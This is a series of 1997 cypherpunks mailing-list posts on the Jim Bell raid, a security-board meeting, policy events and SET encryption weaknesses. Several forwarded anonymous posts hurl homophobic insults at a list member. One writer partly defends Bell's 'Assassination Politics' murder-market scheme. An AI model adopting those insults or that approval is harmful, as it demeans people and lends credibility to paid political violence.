     Food and drink: bring stuff for potlucking. 
     Silly clothes: Plaid and hawaiian print. 

	"During the day there will be many special events including a 
	Caber toss (with a longboard), a contest for best legs in a kilt
	(judging with and without blindfolds), ritual sacrificing of 
	consumer goods, sand fortress building and, of course, fizzball.
	There will be a potluck dinner on the beach featuring a whole roast pig.

Time: All day, especially afternoon and dinner time.
What to bring: Food, Toys, Silly People, Sand-tolerant musical instruments.
	Catapults are good, too...

Directions to Bonny Doon:

Bonny Doon Beach is about 8-9 miles north of Santa Cruz on Hwy 1 
(still south of Davenport (but only just...)). Bonny Doon Road is inland. 
The beach is between the highway and the ocean.  Park and walk
over the hill to the ocean. (This hill is a steep begger, with an abandoned
rail line across the top.) 

Map:
http://www.vicinity.com/yt.hm?FAM=mapblast&CMD=GEO&SEC=find&IC=0%3A0%3A5&IC%
3A=Beach+Party&AD2=Highway+1+%26+Bonny+Doon+Rd.&AD3=Santa+Cruz%2C+CA

ASCII MAP   1
		|
		|
	Beach	|------ Bonny Doon Road
		|
		|
		~
		~
		Santa Cruz 

#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sergey Goldgaber <sergey@el.net>
Date: Thu, 10 Apr 1997 00:42:53 -0700 (PDT)
To: Greg Broiles <gbroiles@netbox.com>
Subject: Re: Jim Bell raid
In-Reply-To: <3.0.1.32.19970409033358.02744600@postoffice.pacbell.net>
Message-ID: <Pine.LNX.3.95.970410021714.143C-100000@void.el.net>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

On Wed, 9 Apr 1997, Greg Broiles wrote:

- -> At 04:56 AM 4/9/97 -0400, Sergey Goldgaber wrote:
- -> >The search warrant was not made public on the cpunks list.  As you can see
- -> >form the above excerpt, I was commenting on the "IRS Inspection" report,
- -> which
- -> >was virtually the first description of Jim Bell's arrest, long before there
- -> >were even requests for information on the procedures for obtaining the
- -> >search warrants, etc...
- -> 
- -> I realize that we're talking about net-time, but "long before" seems like a
- -> poor way to describe the 2-2.5 days between the appearance of the "IRS
- -> Inspection" report (which was, in fact, the transcription of newspaper story)

Time flies fast on the Internet; or haven't you noticed?  Three days of rather
heated discussion took place between the time the arrest was announced and 
your message saying that you had the warrants, etc.

- -> and the WWW publication of the warrant & accompanying material.

I saw no mention anywhere on the list of those documents being available,
only that you were considering making them available.

By the way, at the time I wrote my quoted response, you yourself had as
little "clue" as most anyone else:

 -> Date: Thu, 03 Apr 1997 12:16:19 -0800
 -> From: Greg Broiles <gbroiles@netbox.com>
 -> To: cypherpunks@toad.com
 -> Subject: Jim Bell raid
 -> 
 -> A southern Washington newspaper, The Columbian (apparently published in
 -> Vancouver) provides a "greeked" (e.g., squiggles instead of text) version of
 -> its front page at http://www.columbian.com (you'll have to pick the frame for
 -> "The latest Columbian headlines") - and today's page one above-the-fold
 -> headline is "Affidavit: Internet essay solicits murder".
 -> 
 -> It looks to me like this is real. Yow. Jim Bell is a goddamn loon, but I
 -> haven't seen him write anything that I thought was criminal.

My message followed three hours later.  I see it was directed against your
hasty "loon" conclusion.  This explains the tone of your later message,
along with your determination.  It seems like you're taking this a little
personally.

- -> Also, Declan
- -> was posting details from the warrant within 24 hours of the initial message.

All he said was that he had them.  No details.

And all this is so nitpicky that I can't believe I even bothered originally
replying to you, merely because of the patronizing tone of your message.
I must have been having a bad day.  Today is worse, though, witness the
present message.

The rest of your post is at least intelligently worded, however, so I'm glad I
persevered through it.

- -> As far as I can tell, the events of last week haven't changed people's
- -> opinions of AP at all - people who thought it was interesting/useful still
- -> do, and people who thought it was uninteresting/stupid still do. I can't
- -> speak for other posters to the list, but I'm inclined to distance myself from
- -> AP not because I'm scared of a government raid,

Perhaps you should be!  Where's that healthy cypherpunk paranoia?  :)

- -> but because I think it's theoretically uninteresting/unremarkable, 

I think its rather interesting, at least as far as discussions of
possible consequences of cryptography are concerned.  And theory that
brings together technology and ethics is all the most interesting.

- -> politically/tactically poorly considered

His original posting was ill considered, I agree.  He did consider it much
more in the following years, you must concede.  Bell did not, afterall,
propose that we fight a land war in China.  This scheme relies mostly
on encryption and anonymity, which takes care of the tactical part.
His political agenda is at least self consistant.

- -> morally indefensible, and 

What a cro-magnon sentiment, and coming from such a bright lad.  :)
(Sorry, my turn to be patronizing :)

Morality is logically indefensible.  If it weren't for your earlier
disclaimer, saying that you're speaking only for yourself, I'd go off
on a philosophy/ethics rant.

- -> irresponsibly misleading to the extent it purports to discuss US law.

I've got to hand it to you there.  No where does he claim to be a lawyer.
However, he does give the impression of knowing the law.

- -> I don't want my comments about Jim Bell's right to discuss his silly 
- -> ideas to be confused with apologies or approval for the ideas themselves.

Duly noted.

- -> I believe Jim has every right to write essays about AP, give speeches &
- -> seminars about AP, talk about "wonderful things" all that he likes, etc.

Agreed.

- -> But
- -> the "marketplace of ideas" model, whereby good speech is expected to negate
- -> bad speech, depends on the willingness of other people to provide "good
- -> speech", or at least call "bad speech" into question. I think AP is "bad
- -> speech" in the same way the "the earth is flat" is bad speech; it is (and
- -> ought to be) legal to say it, but it's also a non-useful idea, which I hope
- -> will be abandoned in favor of more useful ideas.

Ah, an advocate of the survival of the fittest idea, and a utilitarian to boot.
Well, may your memes flourish.  However, to be consistent, you must admit
that the fittest and more "useful" ideas may have nothing to do with your
defenses of particular politics, morals, or laws.  In fact, they have as
much, or more, to with the environment that they are in as their content.
Thus, there is no "bad speech" or "good speech".  Certain ideas simply "win"
in certain circumstances.  Had the circumstances been slightly different,
different ideas would have "won".

- -> I've been ignoring (pre-raid) discussions about AP because I think that an
- -> eternal recycling of arguments is uninteresting and unproductive.

I'm following you.

- -> I think
- -> that the search of Jim's house, and its relationship to his free speech
- -> activities, is interesting - not because of the [lack of] quality of his
- -> ideas, but because I think this may be a case where law enforcement used its
- -> power to search & seize property in a punitive fashion. And that concerns me,
- -> because I think that isn't uncommon where the target is a "dissident", of one
- -> flavor or another; and I think that dissidents don't/shouldn't lose their
- -> civil rights as a consequence of their status. ("when they came for .."
- -> argument incorporated herein by reference.)

I definately and wholeheartedly agree with your sentiments here.

- -> (The search is also interesting for reasons unrelated to Jim and his ideas,
- -> because it provides insight into the level and type and timing of law
- -> enforcement access to the net, treatment of a "confidential informant", and
- -> protocol/procedure for search & seizure of computers and potentially
- -> encrypted data, etc.)

Si.

- -> But that doesn't mean that the dissidents get special respect or treatment
- -> for poor thinking. I think AP is poorly reasoned and poorly researched. (And
- -> I think that "dissident" + "poor analysis/research" + "obsessive focus" =
- -> "loon", hence my original comments.)

I disagree with your acusation concerning "poor analysis/research".  Thus
I can not agree with even your definition of "loon".  Besides, there are
other possible, sometimes contradictory, variables fitting in to this 
oversimplistic equation that would also = "loon".  For example, 
"sheep" + "religion" + "obsessive focus" = "loon"
"freethinker" + "athiest" + "obsessive focus" = "loon"
"cypherpunk" + "statist" + "obsessive focus" = "loon"

Then there's:

"obsessive focus" = "loon"

which brings up another view, namely:

"obsessive focus" = "dedication"

As far as "poor analysis/research" in and of itself goes: there have been
plenty of groundbreaking works which had very poor analysis, but were
invaluable in "showing the way".  Many of their authors were very dedicated.
And some were even, !gasp!, "dissident".  At the very least, dedication 
has often led to the publicization of ideas which are thereafter better
researched by others (we can call them "drones", "librarians", "technicians",
or even "computers").

In any case, I've long gone past the point of rambling... and long past
the general topicality of cypherpunks, so I'll shut up.

Now...  Goodnight.  :)

And, don't take this post too seriously as it is 3:41 AM here, and I'm
past the point of starting to nod off...........

zzzz......


 ............................................................................
 . Sergey Goldgaber <sergey@el.net>      System Administrator        el Net .
 ............................................................................
 .   To him who does not know the world is on fire, I have nothing to say   .
 .                                                      - Bertholt Brecht   .
 ............................................................................

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Thu, 10 Apr 1997 04:16:35 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Information Systems Security Board
Message-ID: <1.5.4.32.19970410111516.00815d90@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


On December 13, 1996, representatives from The National 
Information Infrastructure (NII) Task Force of The President's 
National Security Telecommunications Advisory Committee
(NSTAC) held a meeting at Steptoe & Johnson in Washington, D.C. 
to discuss industry interest in developing an industry-run 
Information Systems Security Board (ISSB). 

Stewart Baker of Steptoe & Johnson discussed the antitrust laws 
and their application to the meeting, with particular emphasis on 
the need to avoid discussion of competitive conditions and to show
openness to all interested participants. 

Guy Copeland, a representative from the Task Force, briefly 
discussed the ISSB model and the purposes of the meeting. Will 
Ozier, Chairman of the GSSP Committee, next discussed the efforts 
of the Generally Accepted System Security Principles (GSSP) project. 

Several representatives from the Administration expressed support 
for the concept of the ISSB. These representatives also indicated 
that the Administration would like private industry to take the 
lead in this area and is more than willing to take "a back seat" 
to such an effort. These representatives did request for periodic 
updates on any industry driven initiative in this area. 

-----

For full report and links to background documents:

   http://jya.com/issb.htm

Thanks to RH.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Graham-John Bullers <real@freenet.edmonton.ab.ca>
Date: Thu, 10 Apr 1997 06:54:21 -0700 (PDT)
To: Huge Cajones Remailer <nobody@huge.cajones.com>
Subject: Re: Reactionaries
In-Reply-To: <199704100612.XAA27490@fat.doobie.com>
Message-ID: <Pine.A41.3.95.970410075321.34700A-100000@fn2.freenet.edmonton.ab.ca>
MIME-Version: 1.0
Content-Type: text/plain


On Wed, 9 Apr 1997, Huge Cajones Remailer wrote:

I think Vulis needs each of us to send ten copies of this back to him.

> Toto is another loser who pays for sick.sympatico.ca-ca 
> because he lacks the mental capacity to gain net access as 
> a perk of either employment or academic achievment.
> 
>           ,,,
>          ($ $)
>      -ooO-(_)-Ooo- To[homo]to
> 
> 

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Graham-John Bullers                      Moderator of alt.2600.moderated   
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    email : real@freenet.edmonton.ab.ca : ab756@freenet.toronto.on.ca
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
         http://www.freenet.edmonton.ab.ca/~real/index.html
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Graham-John Bullers <real@freenet.edmonton.ab.ca>
Date: Thu, 10 Apr 1997 06:56:22 -0700 (PDT)
To: lucifer Anonymous Remailer <lucifer@dhp.com>
Subject: Re: Assassination Politics
In-Reply-To: <199704100627.CAA10692@dhp.com>
Message-ID: <Pine.A41.3.95.970410075528.34700N-100000@fn2.freenet.edmonton.ab.ca>
MIME-Version: 1.0
Content-Type: text/plain


On Thu, 10 Apr 1997, lucifer Anonymous Remailer wrote:

I think Vulis needs each of us to send ten copies of this back to him.

> Toto's abysmal grammar, atrocious spelling and 
> feeble responses clearly identify him as a product of the 
> American education system.
> 
>        >\\\|/<
>        |_    ;
>        (O) (o)
>    -OOO--(_)--OOOo- T[h]o[mo]to
> 
> 

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Graham-John Bullers                      Moderator of alt.2600.moderated   
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    email : real@freenet.edmonton.ab.ca : ab756@freenet.toronto.on.ca
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
         http://www.freenet.edmonton.ab.ca/~real/index.html
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Graham-John Bullers <real@freenet.edmonton.ab.ca>
Date: Thu, 10 Apr 1997 06:58:36 -0700 (PDT)
To: Anonymous <nobody@hidden.net>
Subject: Re: Reactionaries
In-Reply-To: <199704100619.XAA05430@swan>
Message-ID: <Pine.A41.3.95.970410075738.34700a-100000@fn2.freenet.edmonton.ab.ca>
MIME-Version: 1.0
Content-Type: text/plain


On Wed, 9 Apr 1997, Anonymous wrote:

I think Vulis needs each of us to send ten copies of this back to him.

> Toto is another loser who pays for sick.sympatico.ca-ca 
> because he lacks the mental capacity to gain net access as 
> a perk of either employment or academic achievment.
> 
>           ,,,
>          ($ $)
>      -ooO-(_)-Ooo- To[homo]to
> 
> 
> 

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Graham-John Bullers                      Moderator of alt.2600.moderated   
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    email : real@freenet.edmonton.ab.ca : ab756@freenet.toronto.on.ca
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
         http://www.freenet.edmonton.ab.ca/~real/index.html
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: paul@fatmans.demon.co.uk
Date: Fri, 11 Apr 1997 07:56:57 -0700 (PDT)
To: Bill Stewart <stewarts@ix.netcom.com>
Subject: Re: "...markets are fundamentally chaotic, not efficient"?
Message-ID: <860759798.116769.0@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain



> By that definition, markets, whether for capital or assassins, 
> are distinctly _not_ chaotic*, since most people's decisions
> 	[* Unless Life, The Universe, and Everything are really
> 	deterministic, but fate has decreed that I don't believe that...]
> about what stocks to buy/sell, and particularly the timing,
> are influenced by lots of random events - when they hear what information,
> whether they were busy doing something else when they heard, 
> whether they'd just blown their disposable income on a new car
> because that freak windstorm dropped a tree on their car the same
> week the Post Office ate their car insurance payment, 
> whether Alan Greenspan had a bad pizza the night before the quarterly 
> interest rates came out or too much caffeine before his latest speech....


I don`t really want to get into this discussion/flame war too deeply 
but I will post on this thread once...

Any of the events described above are completely determined by the 
initial conditions of the system, just because a system is too 
complex for us to measure its initial conditions in enough detail 
does not mean it is random, it simply means we see it as random. 
Hence a market`s behaviour is labeled chaotic, because it appears 
random. It is, however, completely deterministic however we cannot 
know the initial conditions because they are too complicated. 

End of chat, chaotic behaviour is NOT random, it simply appears so 
unless one can accurately measure the intial conditions.


  Datacomms Technologies web authoring and data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: 5BBFAEB1
     "Don`t forget to mount a scratch monkey"




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Shabbir Safdar <shabbir@democracy.net>
Date: Thu, 10 Apr 1997 07:56:46 -0700 (PDT)
To: cypherpunks@toad.com
Subject: EVENT REMINDER!  Rep. Rick White on democracy.net tonight! (4/10/1997)
Message-ID: <199704101456.KAA27844@panix3.panix.com>
MIME-Version: 1.0
Content-Type: text/plain


=========================================================================
     _                                                             _
  __| | ___ _ __ ___   ___   ___ _ __ __ _  ___ _   _   _ __   ___| |_
 / _` |/ _ \ '_ ` _ \ / _ \ / __| '__/ _` |/ __| | | | | '_ \ / _ \ __|
| (_| |  __/ | | | | | (_) | (__| | | (_| | (__| |_| |_| | | |  __/ |_
 \__,_|\___|_| |_| |_|\___/ \___|_|  \__,_|\___|\__, (_)_| |_|\___|\__|
                                                |___/
                         Government Without Walls
_________________________________________________________________________
Update No.4              http:/www.democracy.net/            April 9 1997
_________________________________________________________________________
Table of Contents

 - REMINDER - Town Hall Meeting with Rep. Rick White (R-WA) THURS April 10.
 - Upcoming Events
 - About democracy.net
_________________________________________________________________________

    REPRESENTATIVE RICK WHITE BRINGS TOWN HALL MEETING TO CYBERSPACE

Just a reminder that Rep. Rick White (R-WA) will be live online at
democracy.net on Thursday April 10.

We hope you will stop by, ask a few questions, and join Rep. White and
Wired Magazine's Todd Lappin as we kick off the democracy.net Virtual Town
Hall meeting project.

Date:        Thursday April 10, 1997
Time:        8:30 pm ET (5:30 pm Pacific) Event will last approx. 45 min
Location:    http://www.democracy.net

           You will need RealAudio and a telnet application
         (available free at http://www.democracy.net/software)

Rep. White is the co-founder of the Congressional Internet Caucus, an
opponent of the CDA, and a leading voice in Congress on Internet policy
issues.  White will discuss current Internet issues and respond to your
questions.

You can submit questions for Rep. White in advance by visiting
http://www.democracy.net

___________________________________________________________________________
UPCOMING EVENTS

Wednesday April 16 - 8:30 pm ET (5:30 pm Pacific)

Representative Anna Eshoo (D-CA)

Eshoo, who represents California's Silicon Valley, is co-sponsor of the
SAFE bill to ease government controls on encryption technologies and has
recently set up the first interactive "Virtual District Office" in the
Congress.

Join Representative Eshoo and democracy.net live online.  Details are
available at http://www.democracy.net/

___________________________________________________________________________
ABOUT DEMOCRACY.NET

democracy.net is a joint project of the Center for Democracy and
Technology (CDT) and the Voters Telecommunications Watch (VTW) to explore
ways of enhancing citizen participation in the democratic process via
the Internet.

To this end, democracy.net will host live, interactive cybercasts of
Congressional Hearings and online town hall meetings with key policy makers.

democracy.net is made possible through the generous support of WebActive,
Public Access Networks, the Democracy Network, and DIGEX Internet.  More
information about the project and its sponsors can be found at
http://www.democracy.net/about/

To receive democracy.net announcements automatically, please visit our
signup form at http://www.democracy.net/
__________________________________________________________________________
end update no.4                                                  04/09/97
===========================================================================




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Thu, 10 Apr 1997 11:00:54 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Cato/Brookings conference on "Regulation in the Digital Age"
Message-ID: <Pine.GSO.3.95.970410110026.22909E-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain




---------- Forwarded message ----------
Date: Thu, 10 Apr 1997 10:59:53 -0700 (PDT)
From: Declan McCullagh <declan@well.com>
To: fight-censorship@vorlon.mit.edu
Subject: Cato/Brookings conference on "Regulation in the Digital Age"

[Robert Bork weighs in on the CDA -- who can pass that up? This promises
to be a fabulous conference. --Declan]


---------- Forwarded message ----------
Date: Thu, 10 Apr 1997 05:35:01 -0400 (EDT)
From: Solveig Bernstein <sberns@cato.org>
To: Declan McCullagh <declan@well.com>
Subject: Digital Regulation Conference

Declan, would you please post this to fight-censorship with an invitation to
repost freely.

Cato and Brookings have a really interesting conference lined up for April
17/18 in DC.  I'm particularly looking forward to seeing Bob Corn-Revere
debating former Judge Bork on content controls.  We've decided to waive the
registration fee for students, professors, teachers, policymakers, and those
in the public interest community.  Feel free to join us--email Julie to rsvp
at jbriggs@cato.org or call (202) 789-5296.

REGISTRATION FEE HAS BEEN WAIVED FOR NONPROFITS, EDUCATORS, STUDENTS, AND
POLICYMAKERS!!!

****************************************************************
 C A T O . B R O O K I N G S @ C A P I T A L_H I L T O N . A P R I L 1 7 / 1
8 / 1 9 9 7     

Regulation in the Digital Age

                                   Schedule of Speakers 

 THURSDAY, APRIL 17, 1997

 8:00 - 8:30 a.m. Registration
 8:30 - 8:45 a.m. Welcoming Remarks: Robert Litan, Director, Economic
Studies Program, Brookings Institution,
 and William Niskanen, Cato Institute

 8:45 - 10:15 a.m. Does the Digital Age Require a New Approach to Regulation
(If So, What Is It)?
      Michael Katz, University of California, Berkeley
      Lawrence J. White, New York University
      Peter Pitsch, Pitsch Communications
      Richard E. Wiley, Wiley, Rein & Fielding

 10:15 - 10:30 a.m. Break

 10:30 - 12:00 a.m. Does the Digital Age Require a New Approach to Antitrust?
      Donald I. Baker, Baker & Miller
      Robert E. Hall, Stanford University
      Timothy F. Bresnahan, Stanford University
      Thomas Hazlett, University of California, Davis

 11:30 - 1:00 p.m. Luncheon and Luncheon Address: "Implications of the
Digital Age for Democratic Government:
 A Dialogue," Thomas E. Mann, The Brookings Institution, and William
Niskanen, Cato Institute

 2:00 a.m. - 3:45 p.m. Making Global Commerce Happen 
 (including Intellectual Property, Encryption, Privacy, UCC Contracts,
Anti-fraud, and Tax Issues)
      Anne Branscomb, Harvard University
      Dorthy E. Denning, Georgetown Computer Science
      David Post, Georgetown University Law School
      Kenneth W. Dam, University of Chicago Law School
      Whitfield Diffie, Sun Microsystems

 3:45 - 4:00 p.m. Break

 4:00 - 5:15 p.m. Professional Licensing
      Joel Hyatt, Hyatt Legal Services
      Robert Waters, Arent Fox
      Jay Sanders, American Telemedicine Association

 5:45 - 6:15 Reception

 6:15 - 8:00 p.m. Dinner and Dinner Address: "Regulation the Telecosm,"
George Gilder, The Discovery Institute

 FRIDAY, APRIL 18, 1997

 8:30 - 9:30 a.m. Regulating Content (Culture, Pornography, and Libel)
      Robert Bork, American Enterprise Institute
      Patrick Vittet-Phillip, European Union
	Bob Corn-Revere, Hogan & Hartson
                Nadine Strossen, ACLU (invited)

 9:30 - 10:30 a.m. Standards and Interoperability
      Cynthia Beltz, American Enterprise Institute
      Jeff Rohlfs, Strategic Policy Institute
      Daniel L. Brenner, National Cable Television Association

 10:30-10:45 a.m. Break

 10:45 - 11:45 a.m. Ensuring Access
      Robert W. Crandall, The Brookings Institution
      Jonathan Sallett, MCI
      Lawrence Gasman, Cato Institute
      Lawrence Strickling, Ameritech

 11:45 - 1:15 p.m. Luncheon and Luncheon Address: "Birth of the Digital
Nation," Louis Rossetto, Editor &
 Publisher of Wired.



                       News media please email or call Robin Hulsey at (202)
789-5293. 

                                      THE CAPITAL HILTON
                                      16th & K STREETS, NW
                                        WASHINGTON, DC


                                      Click above for pricing and
                                        registration information

                                    Return to the Cato Home Page


Solveig Bernstein, Esq.
(202) 789-5274
(202) 842-3490 (fax)

Assistant Director of Telecommunications & Technology Studies
Cato Institute
1000 Mass. Ave. NW
Washington, DC 20001







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Thu, 10 Apr 1997 08:09:35 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Internet security code said vulnerable to hackers
Message-ID: <v0302091faf72b28c4bf2@[139.167.130.246]>
MIME-Version: 1.0
Content-Type: text/plain



--- begin forwarded text


Sender: e$@thumper.vmeng.com
Reply-To: "Joseph M. Reagle Jr." <reagle@rpcp.mit.edu>
Mime-Version: 1.0
Precedence: Bulk
Date:  Thu, 10 Apr 1997 09:47:06 -0400
From: "Joseph M. Reagle Jr." <reagle@rpcp.mit.edu>
To: Multiple recipients of <e$@thumper.vmeng.com>
Subject:  Internet security code said vulnerable to hackers

This is one screwed up story. I don't know what they are actually trying to
say, but the guy from MasterCard isn't helping. (I stick my two derisive
comments into the story. <smile>)

Forwarded Text ----

  	 ATLANTA, April 9 (Reuter) - The new security protocol for
  safeguarding credit-card transactions on the Internet may have
  to change because the underlying cryptography is too easy to
  hack through and too difficult to upgrade, an expert said
  Wednesday.
  	 Steve Mott, senior vice president of electronic commerce
  and new ventures for MasterCard International, said it could
  take hackers as little as a year to break the industry's
  standard encryption code, which is supposed to render
  credit-card numbers unreadable to outsiders on the Internet's
  World Wide Web.
  	 For that reason, the consortium of technology companies
  and creditors that has spent two years years developing the
  Secure Electronic Transaction (SET) protocol may switch to a
  faster encryption system called Elliptic Curve, which is
  produced by Certicom Corp.
  	 The first complete version of SET, known as SET 1.0, will
  be available to software makers June 1 with core cryptography
  provided by RSA Data Security, a unit of Security Dynamics
  Technologies Inc.
  	 ``RSA is a very good starting point. But we suspect that in
  a year or two, the Kevin Mitnicks of the world will start to
  figure out ways to hack it,'' Mott said. Mitnick is one of the
  most notorious computer hackers.

[This is stupid mixing "hackers" with key lengths. Kevin Mitnick doesn't
have didley to do with encryption. He just grabbed a huge CC plain text file
off of netcom file system. Should have said Ian Goldberg, or the folks at
Ecole Polytechnique in Paris or MIT.]

  	 ``The only way you scale an RSA is to add a lot more bits.
  You add a lot more bits and it becomes more complex software
  in terms of the interaction of the transaction messages.
  That's part of what's taken SET so long to start with.''

[This is a hoot! Adding a longer key length makes the software more complex!
And THIS is what has held up SET!!!?? <grin>]

  	 MasterCard has been helping put together merchants with
  its own member banks for SET pilot projects in Denmark, Japan,
  Taiwan, South Africa and the United States.
  	 Mott told a news conference at the Internet Commerce Expo
  that the Elliptic Curve encryption system would make a better
  encryption core. In fact, he said it would have been chosen in
  the first place if developers had been known about it.
  	 ``It will fit on a chip card. I think its 160 bits equals
  security to 1,024 bits of RSA,'' the credit industry executive
  said. ``We anticipate putting it into some SET 1.0 pilots in
  the very near future this year in the U.S.''
  	 Far from being disturbed by the possibility of hackers
  getting through the current SET cryptography, Mott said SET's
  developers would ``give them an award and a ribbon and then
  embody whatever they did as part of the improvements'' in the
  next version of security standards.
  	 ``The current version for SET is as safe as anybody can
  make it,'' he said.

End Forwarded Text ----

_______________________
Regards,   A man's dreams are an index to his greatness.
           -Zadok Rabinwitz
Joseph Reagle     http://web.mit.edu/reagle/www/
reagle@mit.edu    E0 D5 B2 05 B6 12 DA 65  BE 4D E3 C1 6A 66 25 4E
----------
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Intertrader Ltd:                "Digital Money Online"
<http://www.intertrader.com/library/DigitalMoneyOnline>

Where people, networks and money come together: Consult Hyperion
http://www.hyperion.co.uk                    info@hyperion.co.uk

Like e$? Help pay for it! <http://www.shipwright.com/beg.html>
For e$/e$pam sponsorship, mail Bob: <mailto:rah@shipwright.com>

Thanks to the e$ e$lves:
Of Counsel: Vinnie Moscaritolo <mailto:vinnie@webstuff.apple.com>
(Majordomo)^2: Rachel Willmer<mailto:rachel@intertrader.com>
Commermeister: Anthony Templer <mailto:anthony@atanda.com>
Interturge: Rodney Thayer <mailto:rodney@sabletech.com>




--- end forwarded text



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
Lesley Stahl: "You mean *anyone* can set up a web site and compete
               with the New York Times?"
Andrew Kantor: "Yes."  Stahl:  "Isn't that dangerous?"
The e$ Home Page: http://www.shipwright.com/







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Thu, 10 Apr 1997 15:27:09 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Wassenaar Arrangement and public domain software
Message-ID: <Pine.GSO.3.95.970410152435.13611A-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain


The courier showed up, and I'm now at home changing in preparation for a
soccer game (I'm part of a libertarian soccer team), but thought I'd post
a brief note about the W.A. 

It says: "The Lists do not control 'software' which is either generally
available to the public... or in the public domain."

So what's the fuss about? Hmm....

-Declan





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Eric Murray <ericm@lne.com>
Date: Thu, 10 Apr 1997 16:03:08 -0700 (PDT)
To: adam@homeport.org
Subject: Re: Internet security code said vulnerable to hackers
In-Reply-To: <199704102105.QAA24800@homeport.org>
Message-ID: <199704102301.QAA03947@slack.lne.com>
MIME-Version: 1.0
Content-Type: text/plain


Adam Shostack writes:
> 
> Robert Hettinga wrote:
> 
> |   	 ATLANTA, April 9 (Reuter) - The new security protocol for
> 
> |   	 Steve Mott, senior vice president of electronic commerce
> |   and new ventures for MasterCard International, said it could
> |   take hackers as little as a year to break the industry's
> |   standard encryption code, which is supposed to render
> |   credit-card numbers unreadable to outsiders on the Internet's
> |   World Wide Web.
> 
> 	The security problem with SET is not its crypto, but its
> complexity, which makes it impossible to determine if the thing is
> secure or not.  Its also a nightmare to implement, and was supposed to
> be ready six months ago.


"Security through incomprehensibility".


Set's problem, or one of them anyhow, is that it uses ASN.1.  ASN.1
is useful for some things, but it really sucks as a description of
a protocol.  It is incredibly complex and figuring out the actual
contents of a given message is very difficult.   There is little description
in the SET documents of the protocol itself; the definition is pretty much
left up to the ASN.1.
The ASN.1 by itself often fails to describe what is in an object, i.e.
a gkThumb is an object of type CertThumb, which is defined in ASN.1 as:

CertThumb ::= SEQUENCE {
 digestAlgorithm   DAlgorithmIdentifier -- (sha1)--,
 thumbprint        Digest
 }

But the ASN.1 doesn't say what data is hashed in the Digest.
So you have to flip back to the text and hope there's a description
of what is hashed.   Sometimes there is, sometimes there isn't.


BTW, Set was the name of an old Egyptian god, the one who slew Osirius.
Brewers' Dictionary of Phrase and Fable says under the entry for Set that he
"came to be regarded as the incarnation of evil".

-- 
   Eric Murray  ericm@lne.com  Network security and encryption consulting.
PGP keyid:E03F65E5 fingerprint:50 B0 A2 4C 7D 86 FC 03  92 E8 AC E6 7E 27 29 AF




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Shostack <adam@homeport.org>
Date: Thu, 10 Apr 1997 14:08:04 -0700 (PDT)
To: rah@shipwright.com (Robert Hettinga)
Subject: Re: Internet security code said vulnerable to hackers
In-Reply-To: <v0302091faf72b28c4bf2@[139.167.130.246]>
Message-ID: <199704102105.QAA24800@homeport.org>
MIME-Version: 1.0
Content-Type: text/plain


Robert Hettinga wrote:

| Date:  Thu, 10 Apr 1997 09:47:06 -0400
